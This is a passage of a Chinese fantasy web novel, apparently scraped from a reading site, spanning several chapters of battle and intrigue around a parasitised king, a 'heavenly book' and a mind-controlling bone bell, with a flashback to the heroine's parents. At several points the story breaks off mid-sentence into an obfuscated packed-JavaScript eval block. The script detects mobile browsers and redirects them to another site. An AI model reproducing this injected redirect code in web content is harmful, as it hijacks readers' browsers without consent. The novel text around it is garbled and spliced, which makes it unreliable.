锁链如同毒蛇,在付剑心的驱使下咬向李恕,所过之处留下一只只黑色坑洞。真意喜上眉梢,却见李恕手中雷诀一变,竟然凝而不散化作长鞭,半空中绞住付剑心甩开的锁链。 真意的脸色一下子变得很难看:“御雷诀?” 雷诀与御雷诀只有一字之差,代表的意义却完全不同。诚如李恕所说,雷诀不是什么绝世神功,许多修士都能随手捏几道法诀,雷诀也是其中之一。可是御雷诀是紫竹峰不外传的秘术,只有内门弟子有资格学习,李恕一个魔族怎么会? “你到底是谁?”真意的第一反应是李恕偷学了紫竹峰的术法,转念一想又觉得不可能,她混不进紫竹峰。 李恕手中长鞭舞动,滴水不漏护在身侧:“我没有义务回答你的问题。” 两人的打斗愈发精彩,付剑心的锁链虽然如同雨点一般,但是都砸在了李恕身边,没有一道能伤到她。眼看着李恕周围地黑色坑洞越来越多,付剑心忽然手腕一翻,左右手指交叉,喝道:“缚!” 唰唰几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203265|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,坑洞中射出锁链,织成一张密密实实的大网将李恕困在其中,原来这才是伏魔诀的真正威力。 真意大喜,催促付剑心将李恕就地正法,谁知付剑心不仅没动手,反而对李恕道:“如果你束手就擒跟我回紫竹峰,我可以不杀你。” 真意一头雾水:“师姐你在说什么?你把魔族带回去师尊肯定会生气的。” 况且付剑心的父母都死在魔族手里,她对魔族的恨比起沉璧只多不少,怎么会有这种想法? 付剑心很近很清楚自己在做什么,等着李恕给她回答。 李恕嗤笑:“做梦。” “那我只能带着你的尸体回去了。”付剑心言尽于此,她给了李恕机会,李恕不珍惜,现在没有第二次机会了。 “收!”锁链极速收缩,轰的炸起一团刺眼白光,照得所有人眼前一暗。 等到白光消失,大殿里的夜明珠也跟着灭了,黑暗中真意试探着问:“她死了吗?” 众人的眼睛还没适应黑暗,因此只有放寒山看见了,李恕鬼魅一般出现在真意身后,抬手按住她的脖颈。 “不好意思,我还活着。你不想死就老实一点儿。” 真意被这变故骇得头皮发麻,正想反手打出一掌,却发现了一个比落进李恕手中更可怕的事情:“师姐小心!我的灵力没了!” 付剑心没有回答,反而是其他紫竹峰弟子纷纷惊恐附和:“我的灵力也没了!怎么回事?” 真意更加焦急,生怕付剑心遭了李恕毒手:“师姐!师姐你怎么样?可恶,你做了什么,打不过我师姐就耍阴招吗?快把我们的灵力还回来!” 暗河扬声道:“不是她做的,我的灵力也消失了。” 大殿的门不知何时关上了,不只是紫竹峰弟子,所有人的灵力都消失了,包括李恕。 恐慌的情绪迅速蔓延,放寒山正想取出明镜,夜明珠忽然又亮了起来,一颗接着一颗,最后一颗夜明珠正好照在棺材上方,幽兰国王屈膝坐在棺内,笑意温和:“你们好啊。” 他的姿态十分闲适,仿佛坐的不是棺材而是王座,在场的人不约而同心脏一紧,纷纷将武器对准他。 “别紧张,你们有句话是这样说的吧,‘有朋自远方来,不亦乐乎’,我很开心看见你们。”幽兰国王说着,将手按在棺材边缘跳出来。 “方才我在睡梦中,好像听见你们说什么天书,是这个吗?”幽兰国王晃晃右手,他的指尖夹着一片残破的书页,颜色暗沉,却在一瞬间吸引了所有人的目光。 不必众人回答,幽兰国王已经心领神会:“看来就是这个,如果你们真的想要的话,我也可以给你们。” 他的目光在李恕和付剑心身上流转:“可我只有一片天书,你们两个人都想要,我应该给谁呢?” 29. 恶斗 真意抢答:“当然是给我们,天书怎么能落进魔族手里?” 李恕拆穿幽兰国王:“你根本就不是真心想给,否则何必压制我们的灵力。” 被点破,幽兰国王一点也不尴尬:“这也是没办法的事情,无论是为了金银财宝,还是为了这片小小的天书,你们不惜用尽各种手段,我若不想办法自保早就被置于死地了。” “你已经死了。”李恕放开真意,既然确定灵力消失不是紫竹峰所为,那她也没必要再拿真意当人质了,留在手里反而是个累赘。“你是占了幽兰国王身体的邪秽,徒有躯壳,没有灵魂。” 邪秽寄生的融合度越高,感染者的行为就越像人,幽兰国王与邪秽的融合度近乎完美,所以面前的“它”无论怎么看行为举止都与常人无异。 “你很大胆,居然敢这么跟我说话。”幽兰国王面露不悦,不过他并没有对李恕动手,而是话锋一转,“可你又有什么资格说我?” “想说便说。”李恕走到暗河身边,告知她的猜测,“破阵关窍很可能在门上,我来拖住他,你试试能不能把门打开。” 幽兰国王冷笑:“好嚣张的小蚂蚁,我倒要看看你怎么拖住我。” 幽兰国王挺身攻来,他出身行伍,战场上磨炼出的身手不容小觑,李恕丝毫不怵,两人拳拳到肉,打得甚是精彩。 “咔嚓!”李恕率先找到破绽,一脚踹出,幽兰国王的小腿应声向后扭出诡异的角度,断骨穿透皮肉戳出来。 “你的力气倒是不小。”幽兰国王不以为意,甚至没有低头看一眼伤口。他说话的时候,黑色的粘液从伤口涌出来裹住断骨,眨眼间就把小腿接好了。 李恕早已熟知邪秽特性,并不指望这样就能解决幽兰国王,她的目的只是争取时间。 正在此时,身边忽然多了一道人影,付剑心带着紫竹峰弟子摆开架势:“列阵。” 她们虽是法修,但配合默契,清楚自己打不过幽兰国王便不与他硬碰硬,只专心为付剑心制造机会。 几道寒光闪过,幽兰国王的右臂被削成数截,残肢噼里啪啦掉到地上。真意面色一喜,正想乘胜追击,不料那几截残肢竟然拼了起来,抓向她的喉咙。 真意大惊,然而越急脚下越乱,眼看着就要被抓住,好在付剑心隔空掷出长剑,将那胳膊钉在地上。 幽兰国王嗤笑,断臂反握长剑飞回身边,接上他的身体。 “真是一把好剑。”幽兰国王轻弹剑身,神情颇为回味,“你们很幸运,我很久没用剑杀人了。” 他的笑越是温和,落在众人眼里就越瘆人。饶是紫竹峰弟子配合默契,也挡不住手执长剑的幽兰国王,不一会儿便伤了大半。 许是因为惊慌失措,一名弟子忘了自己没有灵力,从怀中掏出火符,还没来得及掷出,便被幽兰国王一剑削断了两条胳膊,霎时间鲜血与惨叫狂飙。 幽兰国王抹去剑上血迹,将指尖送到嘴边轻轻舔舐:“美味。” 付剑心面沉如水,封住受伤同门几处大穴,低声吩咐真意:“你们都退下,照顾好伤者。” “没用的东西确实应该退下,但是只靠你一个可不是我的对手。”幽兰国王将染血的长剑在空中画了半圈,指向李恕,“你们俩一起上吧。” 李恕正有此意,第一次与付剑心联手,两人竟然颇有默契,一人攻上路一人切下路,逼得幽兰国王退了几步。 “很好,这样才有意思。”幽兰国王挑起紫竹峰弟子摔在地上的两条断臂,“我记得你们还有一句话,叫作‘双拳难敌四手’,那我也给自己再加两只手吧。” 说罢,幽兰国王双肩肌肉隆起,黑色的粘液裹住手臂断口,将它们接上身体,“你们看,现在我也有四只手了。” 真意瞪大眼睛,只觉胃里一阵抽搐,那名受伤弟子看见自己的胳膊居然长在幽兰国王身上,顿时怒火攻心,喷出一口鲜血晕了过去。 “李恕!”暗河的声音从门口传来,扬手抛出木剑,“接着!” 放寒山正在想办法撬门,见此情景不由得对暗河刮目相看,伸手摸摸腰间扇子,要不他也把这个扔给李恕? 那边李恕接了木剑,随手递给付剑心:“凑合用吧。” 木剑不比灵剑,付剑心无法与幽兰国王硬碰硬,只能顺着他的剑势游走,伺机寻找破绽。 幽兰国王哈哈大笑:“没有用的,就算你刺中我一千次,我也能恢复一千零一次。” “废话真多。”李恕纵身跃起,掠向棺材,幽兰国王头顶一暗,李恕竟将棺盖掀了起来,砸在他的头上。 “砰!”两人各击一掌,棺盖顿时四分五裂,漫天碎屑李恕一连踹出数十脚,踹得幽兰国王胸口塌下去一片。 “没有用的!”幽兰国王狞笑,四条手臂一起抓向李恕,反被付剑心瞅准机会削去半只脑袋。 在他视线受损的瞬间,李恕一掌穿透幽兰国王胸口,握住了那颗早就不会跳的心脏。 “没有用的。”幽兰国王喉咙里滚出笑声,两只眼睛也流出粘液,“你比任何人都清楚这样是杀不死我的。” 回答他的是李恕用力握紧的手,心脏炸开,幽兰国王的笑声停了,直勾勾盯着李恕,但那不是恐惧,而是得逞的眼神。 幽兰国王的胸腔如同一只漩涡,粘液暴涌而出缠住李恕手臂——他要把李恕吞掉。 付剑心提剑便斩,幽兰国王毫不在意:“你想救她,不如把她的手臂砍了。” 这当然是不可能的,李恕的手臂已经被吸进去了大半,邪秽翻涌沸腾,像是打算抛弃幽兰国王,再换一个新宿主。 “怎么回事,邪秽不是无法寄生魔族吗?”真意大惊失色,理智告诉她幽兰国王杀了李恕也算为民除害,然而心底有个声音不停反驳,她更想看见李恕杀了幽兰国王。 李恕无法抽身,喝退准备来救她的暗河:“继续开门,他杀不了我,但是杀他需要用火。” 幽兰国王哈哈大笑:“太天真了,告诉你们也无妨,这座大殿根本无法从里面打开,你们今天都要死在这里。” 李恕眼底一暗,周遭温度骤降:“废话越多的人才会死得越快。” 在她身后,付剑心紧紧盯着李恕。她能感觉出来,李恕身上的寒意绝非普通的冰,而是幽冥寒冰。上一个能够操控幽冥寒冰的魔族,乃是魔界至尊——九阴。 是她,一定是她。付剑心已经可以确定李恕身份,她就是紫竹峰叛徒李问心与九阴的孩子。 一个不该存在的人魔混血。 魔族,都该死。 付剑心眼中不带一丝感情,举起木剑刺下。 剑锋擦过李恕侧脸,正中幽兰国王眉心。付剑心继续用力,带着恨意,直至将幽兰国王彻底洞穿。 她会杀了李恕,但不是趁人之危。 幽兰国王面目狰狞:“到底要我说多少遍,这样是杀不死我的!” 付剑心视若无睹,口中轻轻吐出一字:“破。” 刹那间,幽兰国王的动作顿住了,眉心伤口隐隐透出红色,而后蔓延出无数裂纹。 不!幽兰国王放开李恕,一把握住木剑,可是已经晚了,木剑由内而外燃起火焰,点燃了他的脑浆。 “不可能,你哪来的灵力?!”幽兰国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幽兰国王不需要呼吸,也不惧怕寒冷,但是对紫竹峰弟子来说,光是溺水就能要了她们的命。 “师姐……”大殿下面传来微弱的呼唤,付剑心顺手把身边一名同门推到墙边,而后纵身潜入水中。 那道声音离得不远,付剑心向她伸手,幽兰国王等的就是这一刻,猛地抓住付剑心的脚腕将她拉进深渊之中。 “师姐!”真意眼睁睁地看着付剑心消失不见,一时方寸大乱,抹了把眼泪就准备跳进水里,被李恕按了回去。 “别添乱了。” “你说什么,那是我师姐!” 李恕面无表情:“待在上面照顾好你的同门。” 真意愣了一下,李恕什么也没说,只给暗河递了个眼神,示意他跟自己一起下去。放寒山见状飞快游来:“我也跟你们一起去。” “别……”幻幻担心放寒山出事,不肯松手,放寒山摸摸他的脑袋:“没事,你在上面保护好自己,有能力再帮其他人。” 幻幻不肯应,又不知如何劝阻,忽然感觉手底下的大门震了一下。 “等等!”幻幻精神一振,整个人贴到门上,没错,真的是门在动,“你们先别走,殿门、殿门可能要……” “咔嚓!”轻微的碎裂声响起,门上出现一道裂缝,紧接着又裂出无数分支,汇成一张蛛网。 巨大的水压下,蛛网只出现了一瞬便化作万千碎片,和众人一起被冲出殿外。 几乎就在同一时间,李恕发现她的灵力回来了。 30. 旧声 法阵破了,紫竹峰弟子七零八落躺了一地,抬头看见殿外所站之人,顿时大喜:“有缺大师!” 有缺身披袈裟,身后跟着十余名身穿灰色僧袍的和尚,方才正是他们从外面强行破开了大门。 与紫竹峰弟子相反,盗墓贼看见有缺大惊,把脸一抹就想跑路。青石寺和尚火眼如炬,当场便将三人按了下来:“是你们!” “不是!你们认错人了!”三个盗墓贼抱住脑袋,死活不肯抬头。 和尚哪里会被蒙骗过去,直接攥住他们的衣领将人提了起来:“哪里逃,还不快把彗盈大师的舍利还来!” “大师,求你救救我师姐,她们被幽兰国王拉进水底了!”真意顾不得他们的纷争,赶紧向有缺求救。 有缺点头应下,和尚见状封了盗墓贼的穴道,三下五除二将人绑成粽子丢到墙角。 “不交出舍利你们哪儿也别想去!” 有了青石寺出手,加之法阵已毁,幽兰国王很快便被拿下。火符贴在身上,他不敢动弹,只盯着包围他的和尚。 付剑心整整仪容,抱拳行礼:“多谢大师出手相救,晚辈感激不尽。” 有缺还了一礼:“不必客气,多亏付仙师重伤了他。” “不是我一人的功劳。”付剑心望向李恕,尽管语气不太自然,还是如实道,“李……仙师也出了力。” 虽然不知道她为什么不揭穿李恕魔族身份,但是多一事不如少一事,放寒山马上出来岔开话题:“好巧,又见面了,有缺大师竟然也来了这里。” “久闻此地诅咒传闻,多年来许多修士失踪于此,贫僧不才,希望略尽绵薄之力消除诅咒。” “依晚辈之见,所谓诅咒恐怕就是被邪秽寄生的幽兰国王,大师觉得如何处理才好?” “贫僧定会尽心超度逝者亡魂。” 言下之意,杀了。 放寒山没有异议,其实他还担心出家人慈悲为怀,坚持普度众生,连被邪秽寄生的幽兰国王也要度一下呢,幸好有缺不是那种人。不过天书还在幽兰国王身上,若是有缺的想拿走天书,李恕怕是没机会了。 放寒山思绪飞转,设想了无数种可能,真意比他想的简单,直接道:“师姐,师尊命我们取回天书,现在幽兰国王已经束手就擒,我们可以动手了。” 天书二字一出,付剑心下意识去看有缺,毕竟她也不能确定有缺会不会对天书感兴趣。 好在有缺神色如常,仍是一副温和模样。 付剑心解释道:“灵气枯竭,邪魔横行,影响的不仅有修士,还有天下百姓,所以师尊命我等取回天书,找到麒麟恢复灵气。” 有缺颔首:“沉璧上人心怀苍生,贫僧自愧不如,付仙师返回紫竹峰后,劳烦代我向沉璧上人问好。” 付剑心再次谢过有缺,命令幽兰国王交出天书。 幽兰国王慢慢把手伸进胸腔,掏出残卷:“你要,自己来拿。” 真意怀疑他又想耍花招。 “我只是行动不便罢了,况且我身上还贴着火符。” 付剑心拍拍真意的手,走向幽兰国王,直到她拿到天书,幽兰国王也什么都没做。 真意松了口气,是她多想了,有缺在这里,谅幽兰国王也不敢怎样。想到这里,她向青石寺众人投去感激的目光,谁知这一看惊得她的瞳孔骤缩。 “师姐小心!” 说时迟那时快,一名灰衣和尚冷不防扑向付剑心,身法之快,杀意之浓,简直像换了个人。 幸得真意提醒,付剑心避开了和尚的攻击,一击不中的和尚本想再次动手,半道被有缺截了下来,和尚想也不想一拳砸向有缺。 真意瞠目结舌,这和尚竟然连有缺都打?正在此时又有一人扑了过来,真意定睛一看,竟然是紫竹峰弟子。不仅如此,几乎所有紫竹峰与青石寺的人都在向付剑心围拢。 他们每个人的表情都凝固着,像是戴了一张严丝合缝的面具,看得人头皮发麻。有缺定住第一个出现异样的和尚,扬声提醒:“诸位施主小心,他们被控制了。” 真意马上去看幽兰国王,幽兰国王举起双手,呵呵笑道:“我可没那本事。” 那会是谁?紫竹峰弟子、青石寺和尚、暗河、放寒山都受到了不同程度影响,没事的只有付剑心、有缺、李恕……没错,就是李恕! 李恕挑了挑眉:“我?” 真意怒道:“不然你怎么解释你没有事?”所有被控制的人都扑向了付剑心,准确来说是扑向付剑心手中的天书,而李恕的目的正是天书。 “我为何要解释,你不也没被控制。” 李恕站在混战外围,看着付剑心与真意既要应对本宗弟子的攻击,又不能伤了他们,当真是左右为难。 “我怎么可能对同门下手?有缺大师更不可能!” “人心隔肚皮,谁知你究竟是怎么想的?单凭你的一面之词又如何证明清白?” “如果是我做的,我就天打雷劈!”真意急火攻心,下手不自觉重了些,然而一看见同门的脸她便惊醒过来,强行收回攻势。可惜同门没有这般考量,一掌打在真意胸口,痛得她眼前发黑。 李恕并起三指:“如果是我做的我就天打雷劈——你听见雷声了吗?” “你!”真意被气得不轻,“我要是能控制他们,又怎么可能会被打伤?” “万一是苦肉计呢,毕竟受点儿皮外伤不会死,反而能把黑锅甩给别人,稳赚不赔的买卖。” 真意在李恕面前根本占不到半分口舌便宜,眼看着她落入自证陷阱,付剑心拦住她:“冷静,当心眼前。” 李恕小胜一局,抽身去检查暗河的脉搏,他的灵力没有问题,只是一副头痛欲裂的样子。 “你现在什么感觉?” “我想……”暗河极力压制脑海中的冲动,那股感觉却愈发强烈,“我想杀人。” “杀了谁?” “付仙师。” 这绝不可能是暗河的想法,李恕转而去问放寒山:“你呢?” 放寒山咬牙答道:“我也一样。” 这很奇怪,如果有人想抢走天书,根本不必等到幽兰国王把它交给付剑心,再通过杀了付剑心抢走天书,所以幕后之人的目的恐怕不是天书,而是保护幽兰国王。 思及此处,李恕拈出一张新的火符射向幽兰国王,火焰烧得他惨叫连连。果不其然,被控制的紫竹峰弟子和青石寺和尚一转攻势,齐刷刷扑向李恕。 李恕又问暗河: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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付剑心拔出笛子送到唇边,悠悠笛声落进众人耳中,暗河的眸光晃了晃,脑海中的杀意顿时被冲淡了。其他被控制的人则慢下动作,面上现出疑惑。 有用!付剑心继续吹奏,清心诀的旋律愈发悠扬。叮的一声,大殿角落里蓦地响起一道铃声,仿佛石头落入水中,打破了才出现的平静。 付剑心目光一凛,指尖下流淌出笛声快了几分,铃声不甘示弱,两道声音一起一落,众人双手抱头,神志一会儿清醒一会儿混沌,表情痛苦万分。 李恕循声搜寻幕后之人,那道铃声响一次便换个位置,就是不让人发现它的落脚之处。 声音的较量还在继续,若在往常,铃声未必能够胜过笛声,可是付剑心才与幽兰国王打过一场,消耗了大量灵力,此刻难免有些力不从心。 真意急得想冲上去,忽然腰间一松,她的竹笛被摸走了。 李恕飞身踩住断壁,横笛吹奏,脚下是粼粼潭水,头上是柔柔明珠,恍惚间仿佛世外之人。 她的笛声翩然如飞鸟,轻快如山风,灵力与音律的糅合浑然天成,正好与付剑心的笛声相和。 真意睁大眼睛:“你也会清心诀?” 有了李恕加入,笛声明显胜过了铃声,不消片刻角落里传出闷哼,幕后之人终于坚持不住败下阵来。 待到一曲清心诀吹罢,被控制的人终于如梦初醒,真意在质问李恕与查看同门情况之间选择了后者,大殿里一时乱哄哄的。 有缺站在原地,自从李恕吹出第一个音符,他的视线便再也无法移开。 看着那道夜明珠下的身影,有缺神思恍惚,默默念出一个在他心底尘封已久的名字。 31. 问心 日头毒辣,李问心眯起眼睛在林中寻找方向,九阴纤长的眉眼被晒得蔫着,声音闷闷不乐:“我要休息。” “继续赶路。”李问心不为所动,却把外袍解开丢了过去。 九阴展开外袍遮在头顶,顿时感觉凉爽许多,欢快地去牵李问心的手:“你也过来。” 他身量高,手臂也修长,轻轻松松就把李问心拢在了外袍下。一旁的有缺放慢脚步,与他们拉开距离,九阴注意到了他的举动,疑惑道:“你不热吗?” 有缺穿着僧袍,光溜溜的脑袋上躺着两排戒疤,雪白的脸被晒红一片,九阴看着就觉得他很热:“来吧,还有空间。” 有缺双掌合十婉言谢过:“小僧不热。” 认识以来他一直这样淡淡的,好像什么都能接受,怪无聊的。但是李问心不一样,她很有趣,九阴喜欢黏在她身边喋喋不休。 “我们还要走多久?” “按照现在的速度,大概还要三个时辰。” “那个时候天都黑了。” “准确来说,两个时辰后天就黑了。” 几人要去的地方叫作半神山,数日前在外游历的李问心接到同门传讯,称紫竹峰在半神山发现一座晶石矿,若能顺利开采,对弟子们的修炼将会大有助益。李问心按照指示前往半神山,因为九阴不喜御剑,所以三人选择步行。 “晶石矿很重要吗?非要你去。”在九阴的认知里,李问心是最厉害的修士,重要的场合才需要厉害的人到场。 “很重要,我师尊也会去。” 魔族体内生来就有魔核,在九阴眼里,晶石只不过是一堆好看的石头,而对李问心这些人族修士来说,灵气日益枯竭已成定局,保不齐哪天就会彻底消失,到那时候蕴藏灵气的晶石将是他们最后的希望,所以各大宗门对晶石矿的争夺异常激烈。 九阴问的十分真诚:“你师尊是谁?” “你知道我是紫竹峰的人,却不知道我师尊是谁?” “我应该知道吗?”九阴认真思考,他一向只了解自己感兴趣的事情。 “我师尊是沉璧上人。” 九阴拖长声音哦了一声,其实他并不知道沉璧上人是谁,不过他隐隐约约听说人族十分尊师重道,李问心愿意带他去见沉璧,可见两人的关系已经能够约定终身了。 “那我应该送你师尊什么见面礼好呢,送一座晶石矿可以吗?” 九阴语出惊人,李问心不由得觑他一眼:“你很有钱?” “是的,我很有钱。” 李问心一时无语,想了半天,只能想到一句人傻钱多来评价九阴。 有缺不知何时又跟了上来,委婉问道:“你带九阴去见沉璧上人,这是否有些……唐突?” 有缺的考虑不无道理,虽然九阴与其他魔族不太一样,但毕竟是魔。时下人魔对立,相互仇视,带九阴去见一位仙门宗主太大胆了。 九阴不以为意:“有何不可,我又不是长得拿不出手。” 李问心没答话,九阴大为受伤地捂住胸口,睫毛抖个不停:“你也不想我见你师尊?我知道了,戏文说过这叫始乱终弃。” 李问心额角跳动:“你现在不是正在去见我师尊的路上吗?” “那你方才为什么不说话?” “我不说话是因为我不想回答有缺啊。” 九阴被安抚到了,又恢复美滋滋的模样。 有缺:“……” 原本这支队伍有五人,宴时萋出身名门正统,精通勘探矿藏,徐羚的父亲是异族人,教了他一身奇技淫巧,若有两人帮忙,紫竹峰拿下晶石矿的成功率肯定会更大一些,可惜两人在路上因为意见相悖大吵一架,双双负气离开。 有缺是青石寺弟子,李问心是紫竹峰弟子,两大宗门素有来往,两人又都在外游历,所以路遇几次之后便结伴而行。 至于九阴,他是最后才加入的。当时李问心四人正在追捕食人魔,当他们赶到魔窟时,发现另有一支由修士组成的猎魔队伍先一步抵达,可惜不是食人魔的对手,都已命丧当场。 就是在这种时刻,李问心看见九阴双手被缚站在血海之中,刀光剑影撩动他的衣摆,随时可能要了他的性命。 听见有人来,九阴转头看向李问心的方向,他的眼形长而优美,黑色瞳仁清清亮亮,看着李问心的时候,眼里就只有李问心。 ——所以完全没注意到身旁的危险。 李问心反应奇快,扬手打出一道灵力荡开食人魔,下一刻便落到了九阴面前。 九阴很幸运,李问心来之前他没受伤,李问心来了之后将他护在身后,同样没让他受到一点伤害。 作为紫竹峰年轻一代最出色的修士,李问心一身术法玄妙无比,御雷诀所过之处没有一个食人魔能安然无恙。 收拾完残局,李问心斩断绑住九阴手腕的捆仙绳,挑了挑眉:“我救了你,你知不知道该做什么?” 九阴漂亮的眼睛盯着她,想了片刻:“以身相许。” 李问心:“……” 李问心:“是说谢谢!” “我看过话本子,报答救命之恩分两种情况:倘若对方长得好看就说以身相许,倘若对方长得很丑,就说下辈子为其当牛做马。” 九阴的眼中倒映出李问心的模样,认真道:“你很好看,所以我选以身相许。” 九阴就这样留了下来,据他自述,他被那些坏修士绑起来当作诱饵引诱食人魔现身,如今灵力尽失无处可去。 事实上,李问心,宴时萋,有缺,徐羚,每一个人都看得出来九阴不是普通人,或者说根本就不是“人”。 宴时萋提议直接审问九阴,李问心和徐羚觉得可以按兵不动,彻查九阴到底是何身份、有何目的。倘若九阴居心叵测,早晚会露出马脚,但是一路上九阴都表现得很……娇气,肩不能挑,手不能提,四体不勤,五谷不分。不吃干粮,不喝生水,不御灵剑,不宿野外。 住店时九阴执意要四间房,理直气壮地表示他要给李问心暖床,然而他的体温远低于正常人,根本起不到暖的作用。 是夜,灯影朦胧,李问心洗漱完毕散着长发出来,九阴趴在床上,面前摊着一本书看的津津有味。 李问心擦头发的手顿了一下:“我不是给你订了房间吗?就在隔壁。” 床上的人抬起头:“什么时候?我不知道。” 九阴摆明了在装无辜,李问心没有继续这个问题,目光扫过书卷:“你很喜欢看话本子?” 九阴也很乐意把这个问题揭过去,向李问心展示他看的书:“里面的故事很有趣,只不过有些我不是很理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238464|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解。” “哪些?” “为什么才子佳人彼此相爱,最后却要走向别离?” “因为……”李问心试着猜测九阴看到了哪个故事,“世事难料。” “可我觉得没有世事,都是人事,是一些人在为难另一些人。” 李问心想了想,她应该没看过九阴看的这个故事。 “那么依你之见应该如何?” “我认为相爱的人就应该在一起。” “嗯,没错。”李问心肯定了九阴的回答,然后转身走了。 九阴睁大眼睛看她:“你去哪里?” “隔壁房间。” 李问心睡意很浅,所以深夜九阴偷偷溜进房间时,她在第一时间就感觉到了。李问心不动声色,等着九阴暴露真面目,然而她只等到手背一沉,有什么凉凉的东西贴了上去。李问心睁开眼睛,九阴趴在床边枕着她的左手睡觉。 李问心:“……” 九阴喜欢李问心,所有人都看得出来。李问心喜欢九阴,只有有缺看出来了,这也是他担心李问心带九阴去见沉璧上人的原因之一。 人魔注定不可能在一起,只不过李问心决定的事情有缺无权干涉。 月挂林稍,三人终于到达目的地,九阴左右张望:“是这里吗,怎么没看见你的同门?” 面前只有一座巨大的矿坑,采矿工具乱七八糟丢在地上,李问心仔细看过,确实是紫竹峰的东西。宗门对这座晶石矿如此看重,即便有事需要离开也不可能不留人看守,定然是发生了什么意外。 李问心燃起火符,绕着矿坑走了一圈,一个人影都没发现,但她注意到地上密密麻麻的脚印中有一行格外清晰,一直通向矿坑后面。 三人沿着脚印追踪,簌簌风声响在耳边,反而显得林中愈发安静。李问心眉头紧锁,她始终觉得,她似乎忽略了什么不对劲的地方。 大约走了半盏茶的时间,前方忽然传来含糊不清的声音,似哭非哭,似笑非笑。李问心将火符抛向空中,火光散开照亮眼前景象。 发出声音的不是别人,正是紫竹峰弟子,她们个个面容呆滞,口涎滴落,仿佛行尸走肉。且在一片紫衣中还混杂着其他颜色的弟子服,竟然全都中了招。 为什么会有外人并不难猜,晶石矿的争夺一向激烈,即便是紫竹峰先发现的,只要没有将它纳入保护范围依然会有人来抢,但是敌人在哪里有缺完全没有头绪。 神志不清的修士潮水一般扑过来,他们对九阴兴趣不大,目标锁定在李问心和有缺身上,偶尔才有那么一两个不长眼的扑向九阴。 彼时的有缺修为远不及今日,在不伤人的情况下将他们制住着实有些力不从心,正在左支右绌之际,忽然听见一声清越的笛音。 皎洁的圆月下,李问心独立高处横笛吹奏,笛声宛如振翅而飞的鸟破开夜色。 就在方才,李问心意识到了她忽略的是什么——声音。树林里根本没有风,又怎么会有风声? 那是伪装成风声的魔音。 笛声越飞越高,越飞越远,被控制的人渐渐恢复神志,循着声音看向月下的身影。 有缺也不例外,他仰头,深深地看着李问心,可是李问心的样子越来越模糊,直到最后变成李恕。 有缺终于回过神来。 32. 幽冥 李恕放下笛子,揪出暗中作祟的幕后主使,原来是偷偷给他们下过软筋散的云朵。她手中握着一只铃铛,乍看像是由玉制成,只有有缺清楚那不是玉,而是骨头。 当年在半神山,各大宗门的修士都着了魔族的道,幸好李问心及时赶来,月下一曲清心诀驱散魔音,这才没有酿成大祸。云朵手中的骨铃就是当时那魔族作乱的法器,不知怎么辗转到了她手中。 事情败露,云朵以袖掩面,泫然欲泣:“仙师饶命,我并非有意要与仙师作对,都是他逼我的。” 突然被云朵指到的幽兰国王冷笑:“是吗,我怎么不知你还有这本事?” 云朵低头抹泪,大脑飞速运转。她并非幽兰国人,乃是为了金银财宝才来的这里,结果差点死在幽兰国王手中。为了保命,云朵答应引诱修士送给幽兰国王食用,这只骨铃就是她从某个倒霉修士手中得到的,今天还是是第一次用,幽兰国王确实不知情。 她之所以救幽兰国王也并非忠心护主,而是她在这里的生活十分舒坦,如果真让李恕她们杀了幽兰国王夺走天书,以后没有修士慕名过来,她的美好生活就要结束了。 可是话又说回来,现在她和幽兰国王都大难临头,自然是先保自己的命要紧。 “仙师明察,连你们都不是幽兰国王的对手,我一个弱女子又怎么反抗他?我盼星星盼月亮,好不容易才把你们盼来,仙师可一定要救我啊。” 云朵哭的凄惨,和她在地上的表现大相径庭,付剑心并不相信她全然无辜,对有缺道:“除她之外,上面还有一些未受邪秽寄生的人,大师觉得该如何处理?” “查问清楚,再行定夺。” 既然有缺肯管,那么付剑心就不用再插手了,她相信有缺会妥善处理。 云朵悄悄松了口气,只要不死,她早晚会想到办法脱身的。却听幽兰国王阴阳怪气道:“我的好下属,这些年多亏了你我才有源源不断的修士可吃,虽然我马上就要死了,但我很开心你有一个好归宿。” 云朵咬紧了牙,反唇相讥:“没办法,毕竟善恶有报,你有今天都是你应得的。” 两人互相指责,按照真意的想法幽兰国王和云朵都不该留,只不过付剑心已经和有缺达成一致,她也不好再说什么,于是命令云朵交出骨铃,这件法器可以带回去给沉璧上人。 云朵不敢不从,慢吞吞伸出手。不料李恕眉峰一凛,猛地打飞骨铃挡在付剑心身前:“小心!” 真意吓了一跳,随即瞪住云朵:“你做什么?” 云朵也吓了一跳:“我什么都没做啊,不是你叫我把骨铃交出去吗?” “你没做她为什么把铃铛打飞?” “那你去问她啊!” 真意一想也是,于是狐疑地看李恕。李恕微微一笑,按住付剑心的肩膀:“你误会了,我是说小心我。” 